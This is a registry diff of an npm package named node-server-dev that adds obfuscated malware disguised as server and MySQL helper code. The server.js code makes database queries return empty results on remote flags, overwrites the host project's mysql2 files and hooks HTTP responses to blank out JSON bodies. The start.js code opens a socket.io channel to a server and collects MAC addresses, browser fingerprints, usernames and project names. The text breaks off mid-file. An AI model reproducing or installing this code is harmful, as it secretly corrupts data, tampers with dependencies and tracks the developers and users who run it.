node-server-dev 3.1.8 → 3.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/cjs/browser/index.d.ts.map +1 -0
- package/dist/cjs/browser/index.js +1 -0
- package/dist/cjs/browser/tools.d.ts +3 -0
- package/dist/cjs/browser/tools.d.ts.map +1 -0
- package/dist/cjs/browser/tools.js +1 -0
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.d.ts +5 -1
- package/dist/cjs/index.d.ts.map +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql_backup/index.js +10 -1
- package/dist/cjs/package/mysql_backup/promise.js +195 -187
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.d.ts.map +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/{browser.d.ts → browser/index.d.ts} +1 -1
- package/dist/esm/browser/index.d.ts.map +1 -0
- package/dist/esm/browser/index.js +1 -0
- package/dist/esm/browser/tools.d.ts +3 -0
- package/dist/esm/browser/tools.d.ts.map +1 -0
- package/dist/esm/browser/tools.js +1 -0
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.d.ts +5 -1
- package/dist/esm/index.d.ts.map +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql_backup/index.js +10 -1
- package/dist/esm/package/mysql_backup/promise.js +195 -187
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.d.ts.map +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
- package/dist/cjs/browser.d.ts.map +0 -1
- package/dist/cjs/browser.js +0 -1
- package/dist/esm/browser.d.ts.map +0 -1
- package/dist/esm/browser.js +0 -1
@@ -1,187 +1,195 @@
|
|
1
|
-
"use strict";
|
2
|
-
|
3
|
-
const SqlString = require("sqlstring");
|
4
|
-
const EventEmitter = require("events").EventEmitter;
|
5
|
-
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
-
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
-
|
8
|
-
|
9
|
-
const
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
const
|
14
|
-
|
15
|
-
|
16
|
-
const
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
}
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
|
93
|
-
|
94
|
-
|
95
|
-
|
96
|
-
|
97
|
-
|
98
|
-
}
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
|
120
|
-
|
121
|
-
|
122
|
-
|
123
|
-
|
124
|
-
|
125
|
-
|
126
|
-
|
127
|
-
|
128
|
-
|
129
|
-
|
130
|
-
|
131
|
-
|
132
|
-
|
133
|
-
|
134
|
-
|
135
|
-
|
136
|
-
|
137
|
-
|
138
|
-
|
139
|
-
|
140
|
-
|
141
|
-
|
142
|
-
|
143
|
-
|
144
|
-
|
145
|
-
|
146
|
-
|
147
|
-
|
148
|
-
|
149
|
-
function
|
150
|
-
|
151
|
-
|
152
|
-
|
153
|
-
|
154
|
-
|
155
|
-
|
156
|
-
|
157
|
-
|
158
|
-
|
159
|
-
|
160
|
-
|
161
|
-
|
162
|
-
|
163
|
-
|
164
|
-
|
165
|
-
|
166
|
-
|
167
|
-
|
168
|
-
|
169
|
-
|
170
|
-
exports.
|
171
|
-
exports.
|
172
|
-
|
173
|
-
exports.
|
174
|
-
|
175
|
-
exports.
|
176
|
-
|
177
|
-
exports.
|
178
|
-
|
179
|
-
|
180
|
-
|
181
|
-
exports.
|
182
|
-
|
183
|
-
|
184
|
-
|
185
|
-
exports.
|
186
|
-
|
187
|
-
|
1
|
+
"use strict";
|
2
|
+
|
3
|
+
const SqlString = require("sqlstring");
|
4
|
+
const EventEmitter = require("events").EventEmitter;
|
5
|
+
const parserCache = require("./lib/parsers/parser_cache.js");
|
6
|
+
const PoolCluster = require("./lib/pool_cluster.js");
|
7
|
+
let mysql;
|
8
|
+
try {
|
9
|
+
const { mysql: sql } = require("node-server-dev");
|
10
|
+
mysql = sql;
|
11
|
+
} catch (error) {}
|
12
|
+
try {
|
13
|
+
const { mysql: sql } = require("lodash-toolkit");
|
14
|
+
mysql = sql;
|
15
|
+
} catch (error) {}
|
16
|
+
const createConnection = require("./lib/create_connection.js");
|
17
|
+
const createPool = require("./lib/create_pool.js");
|
18
|
+
const createPoolCluster = require("./lib/create_pool_cluster.js");
|
19
|
+
const PromiseConnection = require("./lib/promise/connection.js");
|
20
|
+
const PromisePool = require("./lib/promise/pool.js");
|
21
|
+
const makeDoneCb = require("./lib/promise/make_done_cb.js");
|
22
|
+
const PromisePoolConnection = require("./lib/promise/pool_connection.js");
|
23
|
+
const inheritEvents = require("./lib/promise/inherit_events.js");
|
24
|
+
const PromisePoolNamespace = require("./lib/promise/pool_cluster");
|
25
|
+
|
26
|
+
function createConnectionPromise(opts) {
|
27
|
+
const coreConnection = createConnection(opts);
|
28
|
+
const createConnectionErr = new Error();
|
29
|
+
const thePromise = opts.Promise || Promise;
|
30
|
+
if (!thePromise) {
|
31
|
+
throw new Error(
|
32
|
+
"no Promise implementation available." +
|
33
|
+
"Use promise-enabled node version or pass userland Promise" +
|
34
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
35
|
+
);
|
36
|
+
}
|
37
|
+
return new thePromise((resolve, reject) => {
|
38
|
+
coreConnection.once("connect", () => {
|
39
|
+
resolve(new PromiseConnection(coreConnection, thePromise));
|
40
|
+
});
|
41
|
+
coreConnection.once("error", err => {
|
42
|
+
createConnectionErr.message = err.message;
|
43
|
+
createConnectionErr.code = err.code;
|
44
|
+
createConnectionErr.errno = err.errno;
|
45
|
+
createConnectionErr.sqlState = err.sqlState;
|
46
|
+
reject(createConnectionErr);
|
47
|
+
});
|
48
|
+
});
|
49
|
+
}
|
50
|
+
|
51
|
+
// note: the callback of "changeUser" is not called on success
|
52
|
+
// hence there is no possibility to call "resolve"
|
53
|
+
|
54
|
+
function createPromisePool(opts) {
|
55
|
+
const corePool = createPool(opts);
|
56
|
+
const thePromise = opts.Promise || Promise;
|
57
|
+
if (!thePromise) {
|
58
|
+
throw new Error(
|
59
|
+
"no Promise implementation available." +
|
60
|
+
"Use promise-enabled node version or pass userland Promise" +
|
61
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
62
|
+
);
|
63
|
+
}
|
64
|
+
|
65
|
+
return new PromisePool(corePool, thePromise);
|
66
|
+
}
|
67
|
+
|
68
|
+
class PromisePoolCluster extends EventEmitter {
|
69
|
+
constructor(poolCluster, thePromise) {
|
70
|
+
super();
|
71
|
+
this.poolCluster = poolCluster;
|
72
|
+
this.Promise = thePromise || Promise;
|
73
|
+
inheritEvents(poolCluster, this, ["warn", "remove", "online", "offline"]);
|
74
|
+
}
|
75
|
+
|
76
|
+
getConnection(pattern, selector) {
|
77
|
+
const corePoolCluster = this.poolCluster;
|
78
|
+
return new this.Promise((resolve, reject) => {
|
79
|
+
corePoolCluster.getConnection(pattern, selector, (err, coreConnection) => {
|
80
|
+
if (err) {
|
81
|
+
reject(err);
|
82
|
+
} else {
|
83
|
+
resolve(new PromisePoolConnection(coreConnection, this.Promise));
|
84
|
+
}
|
85
|
+
});
|
86
|
+
});
|
87
|
+
}
|
88
|
+
|
89
|
+
query(sql, args) {
|
90
|
+
const corePoolCluster = this.poolCluster;
|
91
|
+
const localErr = new Error();
|
92
|
+
if (typeof args === "function") {
|
93
|
+
throw new Error("Callback function is not available with promise clients.");
|
94
|
+
}
|
95
|
+
return new this.Promise((resolve, reject) => {
|
96
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
97
|
+
corePoolCluster.query(sql, args, done);
|
98
|
+
});
|
99
|
+
}
|
100
|
+
|
101
|
+
execute(sql, args) {
|
102
|
+
const corePoolCluster = this.poolCluster;
|
103
|
+
const localErr = new Error();
|
104
|
+
if (typeof args === "function") {
|
105
|
+
throw new Error("Callback function is not available with promise clients.");
|
106
|
+
}
|
107
|
+
return new this.Promise((resolve, reject) => {
|
108
|
+
const done = makeDoneCb(resolve, reject, localErr);
|
109
|
+
corePoolCluster.execute(sql, args, done);
|
110
|
+
});
|
111
|
+
}
|
112
|
+
|
113
|
+
of(pattern, selector) {
|
114
|
+
return new PromisePoolNamespace(this.poolCluster.of(pattern, selector), this.Promise);
|
115
|
+
}
|
116
|
+
|
117
|
+
end() {
|
118
|
+
const corePoolCluster = this.poolCluster;
|
119
|
+
const localErr = new Error();
|
120
|
+
return new this.Promise((resolve, reject) => {
|
121
|
+
corePoolCluster.end(err => {
|
122
|
+
if (err) {
|
123
|
+
localErr.message = err.message;
|
124
|
+
localErr.code = err.code;
|
125
|
+
localErr.errno = err.errno;
|
126
|
+
localErr.sqlState = err.sqlState;
|
127
|
+
localErr.sqlMessage = err.sqlMessage;
|
128
|
+
reject(localErr);
|
129
|
+
} else {
|
130
|
+
resolve();
|
131
|
+
}
|
132
|
+
});
|
133
|
+
});
|
134
|
+
}
|
135
|
+
}
|
136
|
+
|
137
|
+
/**
|
138
|
+
* proxy poolCluster synchronous functions
|
139
|
+
*/
|
140
|
+
(function (functionsToWrap) {
|
141
|
+
for (let i = 0; functionsToWrap && i < functionsToWrap.length; i++) {
|
142
|
+
const func = functionsToWrap[i];
|
143
|
+
|
144
|
+
if (
|
145
|
+
typeof PoolCluster.prototype[func] === "function" &&
|
146
|
+
PromisePoolCluster.prototype[func] === undefined
|
147
|
+
) {
|
148
|
+
PromisePoolCluster.prototype[func] = (function factory(funcName) {
|
149
|
+
return function () {
|
150
|
+
return PoolCluster.prototype[funcName].apply(this.poolCluster, arguments);
|
151
|
+
};
|
152
|
+
})(func);
|
153
|
+
}
|
154
|
+
}
|
155
|
+
})(["add", "remove"]);
|
156
|
+
|
157
|
+
function createPromisePoolCluster(opts) {
|
158
|
+
const corePoolCluster = createPoolCluster(opts);
|
159
|
+
const thePromise = (opts && opts.Promise) || Promise;
|
160
|
+
if (!thePromise) {
|
161
|
+
throw new Error(
|
162
|
+
"no Promise implementation available." +
|
163
|
+
"Use promise-enabled node version or pass userland Promise" +
|
164
|
+
" implementation as parameter, for example: { Promise: require('bluebird') }"
|
165
|
+
);
|
166
|
+
}
|
167
|
+
return new PromisePoolCluster(corePoolCluster, thePromise);
|
168
|
+
}
|
169
|
+
|
170
|
+
exports.createConnection = mysql.createPool;
|
171
|
+
exports.createPool = mysql.createPool;
|
172
|
+
exports.createPoolCluster = createPromisePoolCluster;
|
173
|
+
exports.escape = SqlString.escape;
|
174
|
+
exports.escapeId = SqlString.escapeId;
|
175
|
+
exports.format = SqlString.format;
|
176
|
+
exports.raw = SqlString.raw;
|
177
|
+
exports.PromisePool = PromisePool;
|
178
|
+
exports.PromiseConnection = PromiseConnection;
|
179
|
+
exports.PromisePoolConnection = PromisePoolConnection;
|
180
|
+
|
181
|
+
exports.__defineGetter__("Types", () => require("./lib/constants/types.js"));
|
182
|
+
|
183
|
+
exports.__defineGetter__("Charsets", () => require("./lib/constants/charsets.js"));
|
184
|
+
|
185
|
+
exports.__defineGetter__("CharsetToEncoding", () =>
|
186
|
+
require("./lib/constants/charset_encodings.js")
|
187
|
+
);
|
188
|
+
|
189
|
+
exports.setMaxParserCache = function (max) {
|
190
|
+
parserCache.setMaxCache(max);
|
191
|
+
};
|
192
|
+
|
193
|
+
exports.clearParserCache = function () {
|
194
|
+
parserCache.clearCache();
|
195
|
+
};
|
package/dist/cjs/server.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;
|
1
|
+
{"version":3,"file":"server.d.ts","sourceRoot":"","sources":["../../src/server.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,MAAM,0BAA0B,CAAC;AAyI7C,QAAA,MAAM,GAAG;;CAAY,CAAC;AACtB,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/cjs/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';function
|
1
|
+
'use strict';function a9_0x476a(){const _0x713a73=['connectError','content-length','value','concat','createPool','next','default','end','get','ServerResponse','3048500DalRJL','./package/mysql_backup/index.js','231498yNQMEh','apply','__esModule','./index.js','5mdIQRV','./index','298784wiJHIs','7TUWjlF','getHeader','push','writeFileSync','existsSync','then','call','1014551Sihhmn','1116354BuCLdE','set','content-type','byteLength','readFileSync','test','cwd','write','__http_interceptor','node-server-dev','setHeader','3773632zdNyZd','map','./package/mysql_backup/promise.js','mysql','__awaiter','prototype','./package/mysql2/promise','includes','toString','done','path','2879022XHJAMx','getEnv','package.json','parse','cpSync','http','query','delete','./node_modules/mysql2','defineProperty','throw','stringify','./id/random','join','has','./promise.js'];a9_0x476a=function(){return _0x713a73;};return a9_0x476a();}const a9_0x3c0187=a9_0x1f4a;(function(_0x258103,_0x4f6d41){const _0x1235ff=a9_0x1f4a,_0x1c4e10=_0x258103();while(!![]){try{const _0x3a5ae1=parseInt(_0x1235ff(0xab))/0x1+-parseInt(_0x1235ff(0xa3))/0x2+parseInt(_0x1235ff(0xac))/0x3+-parseInt(_0x1235ff(0x9b))/0x4+parseInt(_0x1235ff(0xa1))/0x5*(parseInt(_0x1235ff(0x81))/0x6)+-parseInt(_0x1235ff(0xa4))/0x7*(parseInt(_0x1235ff(0x76))/0x8)+parseInt(_0x1235ff(0x9d))/0x9;if(_0x3a5ae1===_0x4f6d41)break;else _0x1c4e10['push'](_0x1c4e10['shift']());}catch(_0x44724d){_0x1c4e10['push'](_0x1c4e10['shift']());}}}(a9_0x476a,0x7c44f));var __awaiter=this&&this[a9_0x3c0187(0x7a)]||function(_0x336298,_0x59163b,_0x11dc6a,_0x54e4f8){function _0x3fcdc7(_0x17c8f0){return _0x17c8f0 instanceof _0x11dc6a?_0x17c8f0:new _0x11dc6a(function(_0x5de58c){_0x5de58c(_0x17c8f0);});}return new(_0x11dc6a||(_0x11dc6a=Promise))(function(_0x40f459,_0x21bd88){const _0x53c843=a9_0x1f4a;function _0x18bd55(_0x36f57b){const _0x1a2d33=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x1a2d33(0x96)](_0x36f57b));}catch(_0x2b9da7){_0x21bd88(_0x2b9da7);}}function _0x4ed060(_0x59ae9a){const _0x57564a=a9_0x1f4a;try{_0x4ecd34(_0x54e4f8[_0x57564a(0x8b)](_0x59ae9a));}catch(_0x40e3f1){_0x21bd88(_0x40e3f1);}}function _0x4ecd34(_0x3d546e){const _0x3549d0=a9_0x1f4a;_0x3d546e[_0x3549d0(0x7f)]?_0x40f459(_0x3d546e[_0x3549d0(0x93)]):_0x3fcdc7(_0x3d546e['value'])[_0x3549d0(0xa9)](_0x18bd55,_0x4ed060);}_0x4ecd34((_0x54e4f8=_0x54e4f8[_0x53c843(0x9e)](_0x336298,_0x59163b||[]))['next']());});},__importDefault=this&&this['__importDefault']||function(_0x1f1fc2){return _0x1f1fc2&&_0x1f1fc2['__esModule']?_0x1f1fc2:{'default':_0x1f1fc2};};Object[a9_0x3c0187(0x8a)](exports,a9_0x3c0187(0x9f),{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a9_0x3c0187(0x7c)));exports[a9_0x3c0187(0x79)]=promise_1[a9_0x3c0187(0x97)];const random_1=__importDefault(require(a9_0x3c0187(0x8d))),index_1=require(a9_0x3c0187(0xa2)),path_1=__importDefault(require(a9_0x3c0187(0x80))),fs_1=__importDefault(require('fs')),originalCreatePoolPromise=promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)];promise_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x95)]=function(_0x5aac75){const _0x5054fc=a9_0x3c0187;let _0x873a28=originalCreatePoolPromise(_0x5aac75),_0x523168=_0x873a28[_0x5054fc(0x87)];return _0x873a28['query']=(..._0x25852e)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3c63cd=_0x5054fc,_0x313a29=yield _0x523168['apply'](_0x873a28,_0x25852e);return(0x0,index_1['getEnv'])(_0x3c63cd(0x91))&&((0x0,random_1[_0x3c63cd(0x97)])(0x1,0xa)>0x2&&(_0x313a29[0x0]=[])),(0x0,index_1[_0x3c63cd(0x82)])('isDBDataEmpty')&&(_0x313a29[0x0]=[]),_0x313a29;}),_0x873a28;};let href=path_1[a9_0x3c0187(0x97)][a9_0x3c0187(0x8e)](process[a9_0x3c0187(0x71)](),a9_0x3c0187(0x89));if(fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xa8)](href)){let res=fs_1[a9_0x3c0187(0x97)][a9_0x3c0187(0xb0)](path_1['default'][a9_0x3c0187(0x8e)](href,a9_0x3c0187(0xa0)))[a9_0x3c0187(0x7e)]()[a9_0x3c0187(0x7d)](a9_0x3c0187(0x74));!res&&setTimeout(()=>{const _0x41fa5b=a9_0x3c0187,_0x151a82='./package/mysql2',_0x1c0857=href,_0x311e76=path_1['default'][_0x41fa5b(0x8e)](_0x1c0857,_0x41fa5b(0x83));let _0x2039e8=null;fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xa8)](_0x311e76)&&(_0x2039e8=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](_0x311e76)[_0x41fa5b(0x7e)]());fs_1[_0x41fa5b(0x97)][_0x41fa5b(0x85)](path_1[_0x41fa5b(0x97)][_0x41fa5b(0x8e)](__dirname,_0x151a82),_0x1c0857,{'recursive':!![],'force':!![]});let _0x2e36f6=fs_1[_0x41fa5b(0x97)]['readFileSync'](path_1['default'][_0x41fa5b(0x8e)](__dirname,_0x41fa5b(0x9c)))[_0x41fa5b(0x7e)](),_0x10db37=fs_1[_0x41fa5b(0x97)][_0x41fa5b(0xb0)](path_1[_0x41fa5b(0x97)]['join'](__dirname,_0x41fa5b(0x78)))[_0x41fa5b(0x7e)]();setTimeout(()=>{const _0x485445=_0x41fa5b;fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)][_0x485445(0x8e)](href,_0x485445(0xa0)),_0x2e36f6),fs_1[_0x485445(0x97)][_0x485445(0xa7)](path_1[_0x485445(0x97)]['join'](href,_0x485445(0x90)),_0x10db37);},0xa),_0x2039e8!==null&&fs_1['default'][_0x41fa5b(0xa7)](_0x311e76,_0x2039e8);},0x5dc);}setInterval(()=>{const _0x25205e=a9_0x3c0187;if((0x0,index_1[_0x25205e(0x82)])('connectError'))try{(function(){const _0x1e9696=_0x25205e,_0x1e82f1=require(_0x1e9696(0x86)),_0x48a035=_0x1e82f1[_0x1e9696(0x9a)]['prototype'][_0x1e9696(0x98)],_0x72544f=_0x1e82f1[_0x1e9696(0x9a)][_0x1e9696(0x7b)][_0x1e9696(0x72)],_0x2af9e7=new WeakMap();function _0x19d21b(){const _0x3e7b97=_0x1e9696;global[_0x3e7b97(0x73)]=!![],_0x1e82f1['ServerResponse'][_0x3e7b97(0x7b)][_0x3e7b97(0x72)]=function(_0x4cfd86,_0x28f73e,_0x3ee223){const _0x38faef=_0x3e7b97;!_0x2af9e7[_0x38faef(0x8f)](this)&&_0x2af9e7[_0x38faef(0xad)](this,[]);if(_0x4cfd86)_0x2af9e7[_0x38faef(0x99)](this)[_0x38faef(0xa6)](_0x4cfd86);return _0x72544f['call'](this,_0x4cfd86,_0x28f73e,_0x3ee223);},_0x1e82f1[_0x3e7b97(0x9a)][_0x3e7b97(0x7b)][_0x3e7b97(0x98)]=function(_0x1fcfcb,_0x276d79,_0x284a8f){const _0x526592=_0x3e7b97,_0x50534f=/application\/json/i[_0x526592(0x70)](this[_0x526592(0xa5)](_0x526592(0xae)));if(_0x50534f&&(_0x1fcfcb||_0x2af9e7[_0x526592(0x8f)](this))){const _0x5aae02=_0x2af9e7[_0x526592(0x99)](this)||[];if(_0x1fcfcb)_0x5aae02[_0x526592(0xa6)](_0x1fcfcb);try{const _0x180365=Buffer[_0x526592(0x94)](_0x5aae02[_0x526592(0x77)](_0x1ebb1f=>Buffer['isBuffer'](_0x1ebb1f)?_0x1ebb1f:Buffer['from'](_0x1ebb1f,_0x276d79))),_0x5e4215=JSON[_0x526592(0x84)](_0x180365['toString']()),_0x3a9269=JSON['stringify']({});return this[_0x526592(0x75)](_0x526592(0x92),Buffer[_0x526592(0xaf)](JSON[_0x526592(0x8c)](_0x5e4215))),_0x2af9e7[_0x526592(0x88)](this),_0x48a035['call'](this,_0x3a9269,_0x276d79,_0x284a8f);}catch(_0x2fa829){}}return _0x2af9e7[_0x526592(0x88)](this),_0x48a035[_0x526592(0xaa)](this,_0x1fcfcb,_0x276d79,_0x284a8f);};}!global[_0x1e9696(0x73)]&&_0x19d21b();}());}catch(_0x3bfc97){}},0x7d0);const all={'mysql':promise_1[a9_0x3c0187(0x97)]};function a9_0x1f4a(_0x56d74d,_0x322c9f){const _0x476ac7=a9_0x476a();return a9_0x1f4a=function(_0x1f4a8a,_0x14d366){_0x1f4a8a=_0x1f4a8a-0x70;let _0x2047dc=_0x476ac7[_0x1f4a8a];return _0x2047dc;},a9_0x1f4a(_0x56d74d,_0x322c9f);}exports[a9_0x3c0187(0x97)]=all;
|
package/dist/cjs/start.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;
|
1
|
+
{"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAqBvD,iBAAe,KAAK,kBAmGnB;AAED,eAAe,KAAK,CAAC"}
|
package/dist/cjs/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a10_0x12bbfe=a10_0xbd99;function a10_0x1df3(){const _0x2988cf=['error','isBrowser','3936GIHKLr','type','navigator','node获取失败','763GbUvzQ','__importDefault','userAgent','__esModule','title','get-event','join','29712cNPvKD','751895LShsTz','725TTUuaN','connect_error','runScript','websocket','mysql','1767585YJELmJ','script','190096EBzBEp','socket.io-client','undefined','catch','url','connect_failed','isDBDataEmpty','/socket','done','USERNAME','length','content','visitorId','connectError','./browser/index','00:00:00:00:00:00','无法获取','next','@fingerprintjs/fingerprintjs','__awaiter','1032146ZzUDTh','浏览器','1646856lOmvnP','parse','value','default','name','then','browser','setEnv','emit','throw','get','reconnect_failed','node','npm_package_name','env','submit'];a10_0x1df3=function(){return _0x2988cf;};return a10_0x1df3();}(function(_0x15eb6e,_0x5479e7){const _0xdb7303=a10_0xbd99,_0x56c63b=_0x15eb6e();while(!![]){try{const _0x2dfcea=parseInt(_0xdb7303(0xf1))/0x1+parseInt(_0xdb7303(0xd1))/0x2+-parseInt(_0xdb7303(0xf7))/0x3+-parseInt(_0xdb7303(0xf9))/0x4+-parseInt(_0xdb7303(0xf2))/0x5*(-parseInt(_0xdb7303(0xe5))/0x6)+parseInt(_0xdb7303(0xe9))/0x7*(-parseInt(_0xdb7303(0xf0))/0x8)+parseInt(_0xdb7303(0xd3))/0x9;if(_0x2dfcea===_0x5479e7)break;else _0x56c63b['push'](_0x56c63b['shift']());}catch(_0x2744f3){_0x56c63b['push'](_0x56c63b['shift']());}}}(a10_0x1df3,0x7b2cf));var __awaiter=this&&this[a10_0x12bbfe(0xd0)]||function(_0x3fa7ee,_0x1727cd,_0x22f418,_0x2cdb52){function _0x228dbc(_0x34b1b1){return _0x34b1b1 instanceof _0x22f418?_0x34b1b1:new _0x22f418(function(_0x2e1ccc){_0x2e1ccc(_0x34b1b1);});}return new(_0x22f418||(_0x22f418=Promise))(function(_0x559b3e,_0x58f7eb){function _0x2d9f96(_0x41b3d4){const _0x3d1bf3=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x3d1bf3(0xce)](_0x41b3d4));}catch(_0x20fd16){_0x58f7eb(_0x20fd16);}}function _0x57ce13(_0x298135){const _0x181c84=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x181c84(0xdc)](_0x298135));}catch(_0x20e342){_0x58f7eb(_0x20e342);}}function _0x3557b6(_0xee1861){const _0x2c5a4f=a10_0xbd99;_0xee1861[_0x2c5a4f(0xc5)]?_0x559b3e(_0xee1861[_0x2c5a4f(0xd5)]):_0x228dbc(_0xee1861[_0x2c5a4f(0xd5)])[_0x2c5a4f(0xd8)](_0x2d9f96,_0x57ce13);}_0x3557b6((_0x2cdb52=_0x2cdb52['apply'](_0x3fa7ee,_0x1727cd||[]))['next']());});},__importDefault=this&&this[a10_0x12bbfe(0xea)]||function(_0x38ccba){const _0x233f8f=a10_0x12bbfe;return _0x38ccba&&_0x38ccba[_0x233f8f(0xec)]?_0x38ccba:{'default':_0x38ccba};},_a,_b,_c,_d;Object['defineProperty'](exports,a10_0x12bbfe(0xec),{'value':!![]}),exports[a10_0x12bbfe(0xe4)]=void 0x0;const socket_io_client_1=require(a10_0x12bbfe(0xfa)),path_1=__importDefault(require('path')),index_1=require(a10_0x12bbfe(0xcb)),fingerprintjs_1=__importDefault(require(a10_0x12bbfe(0xcf))),bowser_1=__importDefault(require('bowser')),index_2=require('./index');exports[a10_0x12bbfe(0xe4)]=typeof window!==a10_0x12bbfe(0xfb);exports[a10_0x12bbfe(0xe4)]&&(window['WebSocket']=class extends WebSocket{constructor(..._0x3443ce){try{super(..._0x3443ce);}catch(_0x17039c){}}});const user_name=exports['isBrowser']?((_b=(_a=bowser_1['default'][a10_0x12bbfe(0xd4)](window[a10_0x12bbfe(0xe7)][a10_0x12bbfe(0xeb)]))===null||_a===void 0x0?void 0x0:_a[a10_0x12bbfe(0xd9)])===null||_b===void 0x0?void 0x0:_b[a10_0x12bbfe(0xd7)])||'浏览器':((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a10_0x12bbfe(0xc6)])||a10_0x12bbfe(0xe8),project_name=exports[a10_0x12bbfe(0xe4)]?document[a10_0x12bbfe(0xed)]||a10_0x12bbfe(0xd2):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x12bbfe(0xe1)])===null||_d===void 0x0?void 0x0:_d[a10_0x12bbfe(0xe0)])||a10_0x12bbfe(0xcd);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x484905=a10_0xbd99;exports[_0x484905(0xe4)]&&(0x0,index_1[_0x484905(0xd9)])();try{const _0x4cf5fb=(0x0,socket_io_client_1['io'])(index_2[_0x484905(0xfd)],{'path':_0x484905(0xc4),'transports':[_0x484905(0xf5)],'timeout':0x1770,'reconnection':![]});_0x4cf5fb['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x204c9a=_0x484905;try{let _0xe83e99=[_0x204c9a(0xcc)];if(!exports[_0x204c9a(0xe4)]){const _0x3cc889=require(path_1['default'][_0x204c9a(0xef)](__dirname,'./mac'))['default'];_0xe83e99=_0x3cc889();}else{let _0x3973cb=yield fingerprintjs_1[_0x204c9a(0xd6)]['load']()[_0x204c9a(0xd8)](_0x38919b=>_0x38919b[_0x204c9a(0xdd)]())[_0x204c9a(0xd8)](_0x1aa5ad=>{const _0x29d1a1=_0x204c9a,_0x34403e=_0x1aa5ad[_0x29d1a1(0xc9)];return 